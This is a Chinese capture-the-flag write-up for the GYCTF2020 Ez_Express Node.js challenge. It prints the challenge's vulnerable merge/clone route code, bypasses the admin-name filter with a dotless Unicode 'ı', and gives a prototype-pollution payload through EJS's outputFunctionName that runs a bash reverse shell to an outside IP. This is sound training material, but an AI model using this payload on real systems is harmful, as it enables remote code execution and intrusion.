[GYCTF2020]Ez_Express.md

去掉杂七杂八的东西后大概是这么个结构

有用的貌似就一个routes/index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
function safeKeyword(keyword) {
    if (keyword.match(/(admin)/is)) {
        return keyword
    }

    return undefined
}

router.get('/', function (req, res) {
    if (!req.session.user) {
        res.redirect('/login');
    }
    res.outputFunctionName = undefined;
    res.render('index', data = {'user': req.session.user.user});
});


router.get('/login', function (req, res) {
    res.render('login');
});



router.post('/login', function (req, res) {
    if (req.body.Submit == "register") {
        if (safeKeyword(req.body.userid)) {
            res.end("<script>alert('forbid word');history.go(-1);</script>")
        }
        req.session.user = {
            'user': req.body.userid.toUpperCase(),
            'passwd': req.body.pwd,
            'isLogin': false
        }
        res.redirect('/');
    }
    else if (req.body.Submit == "login") {
        if (!req.session.user) {res.end("<script>alert('register first');history.go(-1);</script>")}
        if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
            req.session.user.isLogin = true;
        }
        else {
            res.end("<script>alert('error passwd');history.go(-1);</script>")
        }

    }
    res.redirect('/');;
});
router.post('/action', function (req, res) {
    if (req.session.user.user != "ADMIN") {res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
    req.session.user.data = clone(req.body);
    res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
    res.render('index', data = {'user': res.outputFunctionName});
})
module.exports = router;

首先就是这个喜闻乐见的merge函数了,构造原型链污染的好朋友🙏

使用merge来实现clone函数,而clone/action路由中被使用

关注/action路由,发现在调用clone函数之前存在对当前用户名的判断,只有当用户名为ADMIN时才能继续

那就注册一个用户名为ADMIN的账号,然而,观察到处理注册的/login路由中调用了safeKeyword检查用户名合法性,而safeKeyword恰恰ban掉了ADMIN

正则表达式和字符串比较应该是没有什么空子可以钻了,但是走的肯定是/action这条路,除非出题人真的做好了结束后被选手暴打一顿的准备(

继续审计注册相关逻辑,发现注册成功时向session写入的用户名经过了toUpperCase的处理以确保全为大写

结合首页的用户名只支持大写的提示,判断突破口在于toUpperCase相关的处理

然后就找到了这篇文章

在Unicode的小写字母分类中也找到了这个玩意,它的大写正好是拉丁大写字母I,通过这玩意就可以绕过注册时的正则判断啦

username: admın
password: 

然后就可以构造原型链污染啦

出题人大大贴心地设置了/info路由,把outputFunctionName写在了里面,明示ejs的漏洞

ejs的版本也印证了这一点

{
	"__proto__": {
		"outputFunctionName": "x;process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1\"');s"
	}
}

再重新GET一次让payload编译进模板

#Web #nodejs #ejs #unicode #js #bypass #RCE #reverse_shell